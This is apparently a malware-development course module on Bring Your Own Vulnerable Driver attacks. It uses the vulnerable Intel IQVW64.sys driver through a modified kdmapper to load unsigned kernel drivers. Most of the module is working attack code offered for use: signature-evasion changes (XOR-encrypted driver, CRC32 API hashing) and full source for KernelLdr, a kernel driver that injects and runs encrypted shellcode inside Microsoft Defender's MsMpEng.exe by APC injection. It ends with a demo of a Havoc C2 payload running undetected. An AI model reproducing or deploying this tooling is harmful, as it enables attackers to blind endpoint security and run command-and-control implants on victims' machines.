Bring Your Own Vulnerable Driver (BYOVD)
Drivers are software components that enable communication and interaction between hardware devices (such as printers, graphics cards, and network adapters) and the OS of a compu...
Jump to Section (15)
Introduction
Drivers are software components that enable communication and interaction between hardware devices (such as printers, graphics cards, and network adapters) and the OS of a computer. They serve as intermediaries that facilitate the translation of high-level commands from the operating system into instructions that the hardware can understand and execute.
Drivers typically operate in kernel mode, granting them full control over the machine. This makes drivers an attractive target for attackers, allowing them to perform actions otherwise impossible. Recognizing this potential for abuse, Microsoft implemented signature enforcement for drivers to enhance system security. This means that by default, you cannot load unsigned drivers without toggling the setting from the boot menu.
It's possible to list installed drivers by running the driverquery command on the Command Prompt.

Circumventing Signature Enforcement
Bring Your Own Vulnerable Driver or BYOVD for short, is a technique that involves abusing a legitimately-signed vulnerable driver to perform malicious actions that cannot be achieved from user-mode processes. Among these actions, the most frequently pursued goal is to terminate security solutions, a tactic commonly observed in many APT and ransomware attacks, as detailed in the referenced papers below:
- Terminator EDR Killer Spyboy).
- Ransomware Hackers Using AuKill Tool to Disable EDR Software Using BYOVD Attack.
- BlackByte Ransomware Abuses Vulnerable Windows Driver to Disable Security Solutions.
Exploitation Scenario
An example of how a vulnerable driver can be exploited unfolds as follows: The attacker places two files onto a computer— the exploit (e.g., implant.exe) and the signed vulnerable driver. The exploit loads the vulnerable driver and proceeds to exploit the identified vulnerability, ultimately gaining the ability to perform different actions such as executing code within the kernel-mode address space. This scenario is illustrated in the diagram below.

It's important to note that in some cases, the driver itself may not have vulnerabilities. Instead, it may be carrying out its intended function within legitimate software. However, attackers can exploit this functionality to perform malicious actions. This situation is illustrated in the Blackout and Overlord projects, where the implant is responsible for handling communication with the drivers, specifically Blackout.sys and kprocesshacker.sys. These drivers are then used to terminate the target user-mode process when specific flags are provided.
Exploiting CVE-2015-2291
In Intel's Network Adapter Diagnostic Driver, IQVW64.sys, a vulnerability was identified in versions prior to 1.3.1.0. This vulnerability originated as a denial-of-service issue but had the potential to allow an attacker to run unauthorized code with kernel-level privileges. In simpler terms, if this vulnerability is successfully exploited, an attacker could execute their own unsigned driver in kernel mode. This module will not provide guidance on exploiting the mentioned vulnerability. Instead, it will concentrate on its utilization within a BYOVD attack scenario.
The DoS exploit, as detailed on exploit-db, illustrates the method by which this bug can be employed to read from or write to kernel memory. This is achieved through a carefully crafted 0x80862013, 0x8086200B, 0x8086200F, or 0x80862007 IOCTL call.
This module will not demonstrate the DoS exploit; instead, it will utilize an alternative PoC exploit found in the kdmapper project (explained in upcoming sections).
IOCTL
Device Input and Output Control or IOCTL for short, is a type of operation that is used to communicate between user-mode applications and kernel-mode drivers, in which they are used to send commands, requests, or instructions from user space to kernel space and vice versa. IOCTL requests are made using the DeviceIoControl WinAPI function, which can be seen in the aforementioned DOS exploit.
Kdmapper
Another PoC can be found in the kdmapper project, initially introduced on unknowncheats.me. In this PoC, the 0x80862007 IOCTL code is utilized to perform a kernel mode driver mapping action, rather than conducting a DoS attack on the vulnerable driver.
Discussing kdmapper's code falls outside the scope of this module. However, it's worth noting that the vulnerable driver, IQVW64.sys, is loaded reflectively to avoid being written to the disk. Instead, it is stored in the intel_driver_resource.hpp file. The IQVW64.sys driver used by kdmapper has a version of 1.3.0.7 and an MD5 hash value of 1898ceda3247213c084f43637ef163b3. You can locate this file on loldrivers, a website that maintains a catalog of Windows drivers frequently employed by threat actors to circumvent security measures, accessible here.
Note that compiling kdmapper requires you to download the Windows Driver Kit WDK.
Updating Kdmapper
To facilitate the execution of a successful BYOVD attack using Kdmapper, it becomes essential to modify certain aspects of the tool's code. This is particularly important given the tool's extensive public availability over time, making it susceptible to significant signature detection by security solutions. The modifications applied to the kdmapper project, which are shared within this module, are detailed below:
- All
VirtualAlloccalls are replaced withHeapAllocfunction calls. And thus, allVirtualFreecalls were changed toHeapFreecalls. - The
IQVW64.sysdriver located in theintel_driver_resource.hppfile is encrypted using a custom XOR encryption function. It is then stored asunsigned charEncDriver, as opposed to being saved asstatic const uint8_t driver. - Since the driver code is not a static variable anymore, some function definitions were changed:
intel_driver::Unload(HANDLE device_handle)was changed tointel_driver::Unload(HANDLE device_handle, size_t sEncDriverSize).intel_driver::Load()was changed tointel_driver::Load(unsigned char* ucEncDriver, size_t sEncDriverSize).- The project uses Ntdll exported functions (
NtAddAtom,RtlAdjustPrivilege,NtLoadDriver, andNtUnloadDriver) through theGetModuleHandleAandGetProcAddressWinAPIs. It's been updated to import these functions using API hashing using theFARPROC GetNtdllProcAddressH(IN UINT uNtdllApiHash)function. Previously, kdmapper required users to provide the driver name along with command line arguments like--free,--mdl, or--PassAllocationPtr. However, it has since been updated to streamline this process. Now, a single argument for the unsigned driver's name suffices, and the tool will automatically execute with the default--freeand--mdloptions.
XOR Encryption
As previously discussed, the updated kdmapper version includes an XOR-encrypted iteration of the IQVW64.sys driver, which can be generated through the PayloadEncrypter program provided alongside this module's code. PayloadEncrypter employs the following code for XOR encryption of an input buffer:
// 'driver' is the raw IQVW64.sys driver.
for (SIZE_T i = 0; i < sizeof(driver); i++) {
if (i % 2 == 0)
driver[i] = driver[i] ^ 0x85;
else
driver[i] = driver[i] ^ 0x2A;
if ((i + 2) % 16 == 0)
driver[i] = driver[i] ^ 0x3C;
}Therefore, the main function of the updated kdmapper can be observed in the following code, where it decrypts the IQVW64.sys driver before proceeding to execute the remainder of the exploit.
// 'EncDriver' is the XOR'd IQVW64.sys driver.
for (SIZE_T i = 0; i < sizeof(EncDriver); i++) {
if ((i + 2) % 16 == 0)
EncDriver[i] = EncDriver[i] ^ 0x3C;
if (i % 2 == 0)
EncDriver[i] = EncDriver[i] ^ 0x85;
else
EncDriver[i] = EncDriver[i] ^ 0x2A;
}IAT Hashing
Furthermore, since all used APIs are exported from Ntdll.dll, the new kdmapper is accompanied by a function called GetNtdllProcAddressH that fetches function addresses from Ntdll.dll only. GetNtdllProcAddressH is shown below.
FARPROC GetNtdllProcAddressH(IN UINT uNtdllApiHash) {
PPEB pPeb = NULL;
PPEB_LDR_DATA pLdr = NULL;
PLDR_DATA_TABLE_ENTRY pDte = NULL;
HMODULE hNtdll = NULL;
PBYTE pBase = NULL;
PIMAGE_NT_HEADERS pImgNtHdrs = NULL;
PIMAGE_EXPORT_DIRECTORY pImgExportDir = NULL;
PDWORD pdwFunctionNameArray = NULL;
PDWORD pdwFunctionAddressArray = NULL;
PWORD pwFunctionOrdinalArray = NULL;
DWORD dwImgExportDirSize = 0x00; pPeb = (PPEB)__readgsqword(0x60);
pLdr = (PPEB_LDR_DATA)(pPeb->Ldr);
pDte = (PLDR_DATA_TABLE_ENTRY)(pLdr->InMemoryOrderModuleList.Flink);
// Skip local exe image
pDte = *(PLDR_DATA_TABLE_ENTRY*)(pDte);
// Fetch Ntdll's handle
pBase = (PBYTE)(hNtdll = (HMODULE)pDte->Reserved2[0]);
if (!pBase)
return NULL;
pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + ((PIMAGE_DOS_HEADER)pBase)->e_lfanew);
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return NULL;
pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddre
ss);
dwImgExportDirSize = pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
pdwFunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames);
pdwFunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions);
pwFunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);
for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++) {
CHAR* pFunctionName = (CHAR*)(pBase + pdwFunctionNameArray[i]);
PVOID pFunctionAddress = (PVOID)(pBase + pdwFunctionAddressArray[pwFunctionOrdinalArray[i]]);
if (CRC32B(pFunctionName) == uNtdllApiHash) {
return (FARPROC)pFunctionAddress;
}
}
return NULL;
}GetNtdllProcAddressH accepts one parameter, uNtdllApiHash, representing the hash of the API name to fetch its address. Hashes are generated using the following Cyclic Redundancy Check string hashing algorithm CRC was implemented in Module 88 .
UINT32 CRC32B(LPCSTR cString)
{
UINT32 uMask = 0x00,
uHash = 0xFFFFFFFF;
INT i = 0x00;
while (cString[i] != 0) {
uHash = uHash ^ (UINT32)cString[i];
for (int ii = 0; ii < 8; ii++) {
uMask = -1 * (uHash & 1);
uHash = (uHash >> 1) ^ (0xEDB88320 & uMask);
}
i++;
}
return ~uHash;
}
#define CRCHASH(X) (CRC32B((LPCSTR)X))
int main() {
printf("#define %s%s \t 0x%0.8X \n", "NtAddAtom", "_CRCHASH", CRCHASH("NtAddAtom"));
printf("#define %s%s \t 0x%0.8X \n", "RtlAdjustPrivilege", "_CRCHASH", CRCHASH("RtlAdjustPrivilege"));
printf("#define %s%s \t 0x%0.8X \n", "NtLoadDriver", "_CRCHASH", CRCHASH("NtLoadDriver"));
printf("#define %s%s \t 0x%0.8X \n", "NtUnloadDriver", "_CRCHASH", CRCHASH("NtUnloadDriver"));
return 0;
}Now that the Kdmapper project is updated, it can evade some of the signatures from security vendors.
Testing HelloWorld.sys
Back to the original kdmapper project, the project was accompanied by a driver that prints a hello world message called HelloWorld, the message can be viewed from the Debugview Sysinteral tool.
In order for the Debugview tool to print messages from the kernel, a registry key should exist under
Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager named Debug Print Filter. This key should contain a DWORD value named DEFAULT of value 0x00000008 as shown in the below image.

These changes require a system reboot to take effect. After that, open Debugview as administrator, go to Capture, and select Capture Kernel. You can disable the other capture options to reduce clutter and focus specifically on kernel-related debugging output.

One can now run the newly updated kdmapper project via the following command as administrator:
kdmapper.exe HelloWorld.sys
Note that kdmapper was only successful on Windows 10, but failed on Windows 11.
Building The Unsigned Driver
Building a kernel driver is out of the scope of this course, and thus, is not covered in this module. However, the kernel driver shared with this module called KernelLdr will inject an encrypted shellcode to the user-mode process, MsMpEng.exe. This process is also known as the Microsoft Malware Protection Engine and it represents the core component of the Microsoft Defender AntiVirus. KernelLdr performs the following actions:
- Upon its initial loading,
KernelLdr.sysdecrypts the payload provided by the user. This encrypted payload is created using the PayloadEncrypter project, as shown earlier, utilizing the same XOR algorithm for simplicity. - KernelLdr then searches for the
MsMpEng.exePID using its hash. Then, it searches for an alertable thread within the target process. This is done via theFetchTargetProcessAndThreadfunction. - It then opens a handle to the target process and maps the payload to it using the
ZwCreateSectionandZwMapViewOfSectionAPIs, in a manner close to the user-mode remote mapping injection. Mapping the payload to the target process is done via theInjectPayloadfunction. - After injecting the payload to
MsMpEng.exe, KernelLdr executes it using APC injection, which is done differently than how user-mode APC injection is performed. APC injection is done via theExecuteShellcodefunction.
KernelLdr Complete Code
For readers who are familiar with driver development, KernelLdr's code is shown below.
#include <ntifs.h>
#include <ntddk.h>
#include <ntstrsafe.h>
#include <wdf.h>
#define DRIVER_TAG 'llun'
#define TARGET_PROCESS_HASH 0xF70DC4CA // L"MsMpEng.exe"
#define PROCESS_VM_OPERATION (0x0008)
#define PROCESS_VM_READ (0x0010)
#define PROCESS_VM_WRITE (0x0020)
#define ALERTABLE_THREAD_FLAG_OFFSET 0x74
#define GUI_THREAD_FLAG_OFFSET 0x78
#define THREAD_KERNEL_STACK_OFFSET 0x58
#define THREAD_CONTEXT_STACK_POINTER_OFFSET 0x2C8
#define ALERTABLE_THREAD_FLAG_BIT 0x10
#define GUI_THREAD_FLAG_BIT 0x80#define SET_TO_MULTIPLE_OF_PAGE_SIZE(X) ( ((X) + PAGE_SIZE) & (~PAGE_SIZE) )#define CHAR_BIT 8
//--------------------------------------------------------------------------------------------------------------------------------
typedef struct _SYSTEM_THREAD_INFORMATION
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientId;
KPRIORITY Priority;
LONG BasePriority;
ULONG ContextSwitches;
ULONG ThreadState;
KWAIT_REASON WaitReason;
}SYSTEM_THREAD_INFORMATION, * PSYSTEM_THREAD_INFORMATION;
typedef struct _SYSTEM_PROCESS_INFO
{
ULONG NextEntryOffset;
ULONG NumberOfThreads;
LARGE_INTEGER WorkingSetPrivateSize;
ULONG HardFaultCount;
ULONG NumberOfThreadsHighWatermark;
ULONGLONG CycleTime;
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ImageName;
KPRIORITY BasePriority;
HANDLE UniqueProcessId;
HANDLE InheritedFromUniqueProcessId;
ULONG HandleCount;
ULONG SessionId;
ULONG_PTR UniqueProcessKey;
SIZE_T PeakVirtualSize;
SIZE_T VirtualSize;
ULONG PageFaultCount;
SIZE_T PeakWorkingSetSize;
SIZE_T WorkingSetSize;
SIZE_T QuotaPeakPagedPoolUsage;
SIZE_T QuotaPagedPoolUsage;
SIZE_T QuotaPeakNonPagedPoolUsage;
SIZE_T QuotaNonPagedPoolUsage;
SIZE_T PagefileUsage;
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
LARGE_INTEGER ReadOperationCount;
LARGE_INTEGER WriteOperationCount;
LARGE_INTEGER OtherOperationCount;
LARGE_INTEGER ReadTransferCount;
LARGE_INTEGER WriteTransferCount;
LARGE_INTEGER OtherTransferCount;
SYSTEM_THREAD_INFORMATION Threads[1];
}SYSTEM_PROCESS_INFO, * PSYSTEM_PROCESS_INFO;
typedef enum _KAPC_ENVIRONMENT
{
OriginalApcEnvironment,
AttachedApcEnvironment,
CurrentApcEnvironment,
InsertApcEnvironment
} KAPC_ENVIRONMENT;
typedef VOID(NTAPI* PKNORMAL_ROUTINE) (
IN PVOID NormalContext,
IN PVOID SystemArgument1,
IN PVOID SystemArgument2
);
typedef VOID(NTAPI* PKKERNEL_ROUTINE) (
IN PKAPC Apc,
IN OUT PKNORMAL_ROUTINE* NormalRoutine,
IN OUT PVOID* NormalContext,
IN OUT PVOID* SystemArgument1,
IN OUT PVOID* SystemArgument2
);
typedef VOID(NTAPI* PKRUNDOWN_ROUTINE) (
IN PKAPC Apc
);
typedef unsigned int UINT;
//--------------------------------------------------------------------------------------------------------------------------------
NTKERNELAPI VOID NTAPI KeInitializeApc(
OUT PRKAPC Apc,
IN PETHREAD Thread,
IN KAPC_ENVIRONMENT Environment,
IN PKKERNEL_ROUTINE KernelRoutine,
IN OPTIONAL PKRUNDOWN_ROUTINE RundownRoutine,
IN OPTIONAL PKNORMAL_ROUTINE NormalRoutine,
IN OPTIONAL KPROCESSOR_MODE ApcMode,
IN OPTIONAL PVOID NormalContext
);
NTKERNELAPI BOOLEAN NTAPI KeInsertQueueApc(
IN OUT PRKAPC Apc,
IN OPTIONAL PVOID SystemArgument1,
IN OPTIONAL PVOID SystemArgument2,
IN KPRIORITY Increment
);
NTKERNELAPI BOOLEAN NTAPI KeTestAlertThread(
IN KPROCESSOR_MODE AlertMode
);NTKERNELAPI PVOID NTAPI PsGetCurrentProcessWow64Process(
VOID
);
NTKERNELAPI NTSTATUS NTAPI ZwQuerySystemInformation(
IN ULONG SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength
);
//--------------------------------------------------------------------------------------------------------------------------------
// String Hashing Algorithm:
// https://github.com/vxunderground/VX-API/blob/main/VX-API/HashStringRotr32.cpp
UINT32 HashStringRotr32SubW(UINT32 Value, UINT Count)
{
DWORD Mask = (CHAR_BIT * sizeof(Value) - 1);
Count &= Mask;
#pragma warning( push )
#pragma warning( disable : 4146)
return (Value >> Count) | (Value << ((-Count) & Mask));
#pragma warning( pop )
}
INT HashStringRotr32W(_In_ LPCWSTR String)
{
INT Value = 0;
for (INT Index = 0; Index < wcslen(String); Index++)
Value = String[Index] + HashStringRotr32SubW(Value, 7);
return Value;
}
//--------------------------------------------------------------------------------------------------------------------------------
WCHAR g_TargetProcessName[0xFF] = { 0 };
//--------------------------------------------------------------------------------------------------------------------------------
BOOLEAN FetchTargetProcessAndThread(OUT HANDLE* phProcessId, OUT PETHREAD* pThread, OUT HANDLE* phThreadId) {
if (phProcessId == NULL || pThread == NULL || phThreadId == NULL) {
return FALSE;
}
NTSTATUS STATUS = STATUS_SUCCESS;
ULONG uReturnLength = 0x00,
uAlertableThread = 0x00,
uGuiThread = 0x00;
PVOID pAddress = NULL;
PSYSTEM_PROCESS_INFO pSystemProcesses = NULL;
PETHREAD pTmpThread = NULL;
// Fetch array size
if ((STATUS = ZwQuerySystemInformation(0x05, NULL, 0x00, &uReturnLength)) != STATUS_INFO_LENGTH_MISMATCH) {
DbgPrint("[!] ZwQuerySystemInformation [1] Failed With Error: 0x%0.8X \n", STATUS);
goto _FUNC_CLEANUP;
}
// Allocate enough memory
if ((pAddress = ExAllocatePool2(POOL_FLAG_NON_PAGED, (SIZE_T)uReturnLength, (ULONG)DRIVER_TAG)) == NULL) {
DbgPrint("[!] ExAllocatePool2 Failed \n");
goto _FUNC_CLEANUP;
}
// Fetch array
if (!NT_SUCCESS((STATUS = ZwQuerySystemInformation(0x05, pAddress, uReturnLength, &uReturnLength)))) {
DbgPrint("[!] ZwQuerySystemInformation [2] Failed With Error: 0x%0.8X \n", STATUS);
goto _FUNC_CLEANUP;
}
pSystemProcesses = (PSYSTEM_PROCESS_INFO)pAddress;
do {
// Search for the target process using it's hash
if (pSystemProcesses->ImageName.Length && HashStringRotr32W(pSystemProcesses->ImageName.Buffer) == TARGET_PROCESS_HASH) {
// Copy the name to a global variable (used for debugging)
if (pSystemProcesses->ImageName.Length < (sizeof(g_TargetProcessName) - sizeof(WCHAR))) {
wcscpy(g_TargetProcessName, pSystemProcesses->ImageName.Buffer);
}
// Save process ID
*phProcessId = pSystemProcesses->UniqueProcessId;
// Search for an alertable thread
for (ULONG i = 0; i < pSystemProcesses->NumberOfThreads; i++) {
if (pSystemProcesses->Threads[i].ClientId.UniqueThread == PsGetCurrentThread())
continue;
if (!NT_SUCCESS((STATUS = PsLookupThreadByThreadId(pSystemProcesses->Threads[i].ClientId.UniqueThread, &pTmpThread)))) {
DbgPrint("[!] PsLookupThreadByThreadId Failed At Thread %ld With Error: 0x%0.8X \n", pSystemProcesses->Threads[i].ClientId.Uniq
ueThread, STATUS);
continue;
}
if (PsIsThreadTerminating(pTmpThread)) {
ObDereferenceObject(pTmpThread);
continue;
}
uAlertableThread = *(PULONG64)((BYTE*)pTmpThread + ALERTABLE_THREAD_FLAG_OFFSET) & ALERTABLE_THREAD_FLAG_BIT;
uGuiThread = *(PULONG64)((BYTE*)pTmpThread + GUI_THREAD_FLAG_OFFSET) & GUI_THREAD_FLAG_BIT;
if (uAlertableThread == 0x00 ||
uGuiThread != 0x00 || // Skip GUI Threads
*(PULONG64)((BYTE*)pTmpThread + THREAD_KERNEL_STACK_OFFSET) == 0x00 ||
*(PULONG64)((BYTE*)pTmpThread + THREAD_CONTEXT_STACK_POINTER_OFFSET) == 0x00)
{
ObDereferenceObject(pTmpThread);
continue;
}
// Save the found thread and thread id
*pThread = pTmpThread;
*phThreadId = pSystemProcesses->Threads[i].ClientId.UniqueThread;
break;
}
}
// Move to another process in the array
pSystemProcesses = (PSYSTEM_PROCESS_INFO)((BYTE*)pSystemProcesses + pSystemProcesses->NextEntryOffset);
} while (pSystemProcesses->NextEntryOffset != 0x00);_FUNC_CLEANUP:
if (pAddress != NULL)
ExFreePoolWithTag(pAddress, DRIVER_TAG);
return *pThread == 0x00 ? FALSE : TRUE;
}
//--------------------------------------------------------------------------------------------------------------------------------BOOLEAN CreateSharedSection(IN SIZE_T sShellcodeSize, OUT HANDLE* phSection) {
if (!sShellcodeSize || !phSection)
return FALSE;
UNICODE_STRING SectionName = { 0x00 };
OBJECT_ATTRIBUTES ObjectAttr = { 0x00 };
NTSTATUS STATUS = STATUS_SUCCESS;
LARGE_INTEGER SectionSize = { .QuadPart = SET_TO_MULTIPLE_OF_PAGE_SIZE(sShellcodeSize) }; RtlInitUnicodeString(&SectionName, L"\\BaseNamedObjects\\MySharedMemory");
InitializeObjectAttributes(&ObjectAttr, &SectionName, OBJ_KERNEL_HANDLE, NULL, NULL);
// Create a section to map into kernel & user mode memory
if (!NT_SUCCESS((STATUS = ZwCreateSection(phSection, SECTION_ALL_ACCESS, &ObjectAttr, &SectionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NUL
L)))) {
DbgPrint("[!] ZwCreateSection Failed With Error: 0x%0.8X \n", STATUS);
return FALSE;
}
DbgPrint("[+] Opened A Section Handle: 0x%0.8X \n", *phSection);
return TRUE;
}
//--------------------------------------------------------------------------------------------------------------------------------
// Callback function for APC that is executed in an alertable thread context
VOID KernelModeApcCallback(PKAPC Apc, PKNORMAL_ROUTINE* NormalRoutine, PVOID* NormalContext, PVOID* SystemArgument1, PVOID* SystemArgument2) {
UNREFERENCED_PARAMETER(NormalRoutine);
UNREFERENCED_PARAMETER(NormalContext);
UNREFERENCED_PARAMETER(SystemArgument1);
UNREFERENCED_PARAMETER(SystemArgument2);
// Alert the current thread to execute its pending user - mode APCs
KeTestAlertThread(UserMode);
ExFreePoolWithTag(Apc, DRIVER_TAG);
}
// Callback function for APC executed in a normal thread context
VOID UserModeApcCallback(PKAPC Apc, PKNORMAL_ROUTINE* NormalRoutine, PVOID* NormalContext, PVOID* SystemArgument1, PVOID* SystemArgument2) {
UNREFERENCED_PARAMETER(SystemArgument1);
UNREFERENCED_PARAMETER(SystemArgument2);
// Check if the current thread is in the process of terminating
if (PsIsThreadTerminating(PsGetCurrentThread()))
*NormalRoutine = NULL; // canceling the APC
// Check if the current process is a 32-bit process running on a 64-bit Windows
if (PsGetCurrentProcessWow64Process())
PsWrapApcWow64Thread(NormalContext, (PVOID*)NormalRoutine); // Wrap the APC for execution in a 32-bit thread's context (use 32-bit payload)
- NOT TESTED!
ExFreePoolWithTag(Apc, DRIVER_TAG);
}
BOOLEAN ExecuteShellcode(IN PVOID pInjectedUMShellcode, IN PETHREAD peAlertableThreadId) {
BOOLEAN bSTATE = FALSE;
PKAPC pkUserMApc = NULL,
pkKernelMApc = NULL;
if (!pInjectedUMShellcode || !peAlertableThreadId)
return FALSE;
// ALlocate memory for the APCs
if ((pkUserMApc = (PKAPC)ExAllocatePool2(POOL_FLAG_NON_PAGED, sizeof(KAPC), DRIVER_TAG)) == NULL) {
DbgPrint("[!] ExAllocatePool2 [1] Failed \n");
goto _FUNC_CLEANUP;
}
if ((pkKernelMApc = (PKAPC)ExAllocatePool2(POOL_FLAG_NON_PAGED, sizeof(KAPC), DRIVER_TAG)) == NULL) {
DbgPrint("[!] ExAllocatePool2 [2] Failed \n");
goto _FUNC_CLEANUP;
}
// Intialize the APCs
KeInitializeApc(pkKernelMApc, peAlertableThreadId, OriginalApcEnvironment, (PKKERNEL_ROUTINE)KernelModeApcCallback, NULL, NULL, KernelMode, NUL
L);
KeInitializeApc(pkUserMApc, peAlertableThreadId, OriginalApcEnvironment, (PKKERNEL_ROUTINE)UserModeApcCallback, NULL, (PKNORMAL_ROUTINE)pInject
edUMShellcode, UserMode, NULL);
// Execute the APCs (user mode before kernel mode)
if (!KeInsertQueueApc(pkUserMApc, NULL, NULL, FALSE)) {
DbgPrint("[!] KeInsertQueueApc [1] Failed \n");
goto _FUNC_CLEANUP;
}
if (!KeInsertQueueApc(pkKernelMApc, NULL, NULL, FALSE)) {
DbgPrint("[!] KeInsertQueueApc [2] Failed \n");
goto _FUNC_CLEANUP;
}
bSTATE = TRUE;
_FUNC_CLEANUP:
if (!bSTATE && pkUserMApc)
ExFreePoolWithTag(pkUserMApc, DRIVER_TAG);
if (!bSTATE && pkKernelMApc)
ExFreePoolWithTag(pkKernelMApc, DRIVER_TAG);
return bSTATE;
}
//--------------------------------------------------------------------------------------------------------------------------------BOOLEAN InjectPayload(IN PVOID pShellcode, IN SIZE_T sShellcodeSize) {
BOOLEAN bSTATE = FALSE;
PETHREAD hThread = NULL;
HANDLE hProcessId = NULL,
hThreadId = NULL,
hProcess = NULL,
hSection = NULL;
NTSTATUS STATUS = STATUS_SUCCESS;
OBJECT_ATTRIBUTES ObjectAttr = { 0x00 };
CLIENT_ID ClientId = { 0x00 };
PVOID pLocalAddress = NULL,
pRemoteAddress = NULL;
SIZE_T sViewSize = 0x00; if (!pShellcode || !sShellcodeSize)
return FALSE;
// Get target process ID and an alertable thread
if (!FetchTargetProcessAndThread(&hProcessId, &hThread, &hThreadId)) {
DbgPrint("[!] FetchTargetProcessAndThread Failed \n");
goto _FUNC_CLEANUP;
}
DbgPrint("[+] Found %ws's PID: %ld \n", g_TargetProcessName, hProcessId);
DbgPrint("[+] Found Alertable Thread Of ID: %ld \n", hThreadId);
// Open process handle
InitializeObjectAttributes(&ObjectAttr, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
ClientId.UniqueProcess = hProcessId;
ClientId.UniqueThread = NULL;
if (!NT_SUCCESS((STATUS = ZwOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &ObjectAttr, &ClientId)))) {
DbgPrint("[!] ZwOpenProcess Failed With Error: 0x%0.8X \n", STATUS);
goto _FUNC_CLEANUP;
}
DbgPrint("[+] Opened A Handle To %ws: 0x%0.8X \n", g_TargetProcessName, hProcess);
// Create a RWX section
if (!CreateSharedSection(sShellcodeSize, &hSection) || hSection == NULL) {
goto _FUNC_CLEANUP;
}
// Map the section to kernel memory
if (!NT_SUCCESS((STATUS = ZwMapViewOfSection(hSection, NtCurrentProcess(), &pLocalAddress, 0x00, 0x00, NULL, &sViewSize, ViewUnmap, 0x00, PAGE_
READWRITE)))) {
DbgPrint("[!] ZwMapViewOfSection [1] Failed With Error: 0x%0.8X \n", STATUS);
goto _FUNC_CLEANUP;
}
DbgPrint("[+] Allocated Local RW Memory: 0x%p \n", pLocalAddress);
// Copy payload to kernel memory
RtlCopyMemory(pLocalAddress, pShellcode, sShellcodeSize);
DbgPrint("[+] Copied Payload To Local Memory\n");
// Map the payload to the user-mode process
if (!NT_SUCCESS((STATUS = ZwMapViewOfSection(hSection, hProcess, &pRemoteAddress, 0x00, 0x00, NULL, &sViewSize, ViewShare, 0x00, PAGE_EXECUTE_R
EADWRITE)))) {
DbgPrint("[!] ZwMapViewOfSection [2] Failed With Error: 0x%0.8X \n", STATUS);
goto _FUNC_CLEANUP;
}
DbgPrint("[+] Allocated Remote RWX Memory In %ws At: 0x%p \n", g_TargetProcessName, pRemoteAddress);
// Execute the payload
if (!ExecuteShellcode(pRemoteAddress, hThread)) {
DbgPrint("[!] ExecuteShellcode Failed \n");
goto _FUNC_CLEANUP;
}
DbgPrint("[+] Payload Executed Successfully! \n");
bSTATE = TRUE;
_FUNC_CLEANUP:
if (!bSTATE && pLocalAddress)
ZwUnmapViewOfSection(NtCurrentProcess(), pLocalAddress);
if (!bSTATE && pRemoteAddress)
ZwUnmapViewOfSection(hProcess, pRemoteAddress);
if (hSection)
ZwClose(hSection);
if (hProcess)
ZwClose(hProcess);
if (hThread)
ObDereferenceObject(hThread);
return bSTATE;
}
//--------------------------------------------------------------------------------------------------------------------------------
// Encrypted payload to execute inside the target user-mode process
unsigned char Encrypted[] = { 0x90, 0x90, 0x90 };
//--------------------------------------------------------------------------------------------------------------------------------
NTSTATUS LdrDriverEntry(IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING pRegistryPath) {
UNREFERENCED_PARAMETER(pDriverObject);
UNREFERENCED_PARAMETER(pRegistryPath);
DbgPrint("[+] Driver Loaded Successfully \n");
// Decrypting the payload
for (SIZE_T i = 0; i < sizeof(Encrypted); i++) {
if ((i + 2) % 16 == 0)
Encrypted[i] = Encrypted[i] ^ 0x3C;
if (i % 2 == 0)
Encrypted[i] = Encrypted[i] ^ 0x85;
else
Encrypted[i] = Encrypted[i] ^ 0x2A;
}
InjectPayload((PVOID)Encrypted, (SIZE_T)sizeof(Encrypted));
DbgPrint("[*] DONE!\n");
return STATUS_SUCCESS;
}KernelLdr.sys was based on the following publicly available repositories:
- KernelProcessList Example Windows Kernel-mode Driver which enumerates running processes.
- KeInject Kernel LdrLoadDll injector.
- Nidhogg All-in-one simple to use rootkit for red teams.
Demo
The below image shows KernelLdr.sys injecting a Havoc demon payload into MsMpEng.exe where it's executed undetectably.

Video Demo

Conclusion
As we've discussed in this module, the BYOVD approach can be extremely powerful, especially when the vulnerable driver is exploited to write to kernel memory. This capability allows us to map unsigned drivers. As demonstrated earlier, injecting your command and control payload into an AV/EDR process can be a very effective technique for memory manipulation. This is particularly advantageous because these security solutions often overlook themselves.
The code shared in this module includes an updated version of the kdmapper project, a precompiled "HelloWorld" driver along with its source code, the payload encryption project, and the KernelLdr project. Additionally, you'll find the vulnerable driver IQVW64.sys, although it's worth noting that the driver file is not required to execute the BYOVD attack.
Companion Project & Source Code
30 readable source/config files extracted directly from the archive
#include <ntddk.h>
NTSTATUS CustomDriverEntry(
_In_ PDRIVER_OBJECT kdmapperParam1,
_In_ PUNICODE_STRING kdmapperParam2
)
{
UNREFERENCED_PARAMETER(kdmapperParam1);
UNREFERENCED_PARAMETER(kdmapperParam2);
DbgPrint("Hello world!");
return 0;
}Full Archive Manifest (40 files inside .zip)
- HelloWorld.sys
- HelloWorld.zip
- HelloWorld/HelloWorld/HelloWorld.sln
- HelloWorld/HelloWorld/HelloWorld.vcxproj
- HelloWorld/HelloWorld/HelloWorld.vcxproj.filters
- HelloWorld/HelloWorld/HelloWorld.vcxproj.user
- HelloWorld/HelloWorld/main.cpp
- KernelLdr.zip
- KernelLdr/KernelLdr/KernelLdr.sln
- KernelLdr/KernelLdr/KernelLdr/KernelLdr.vcxproj
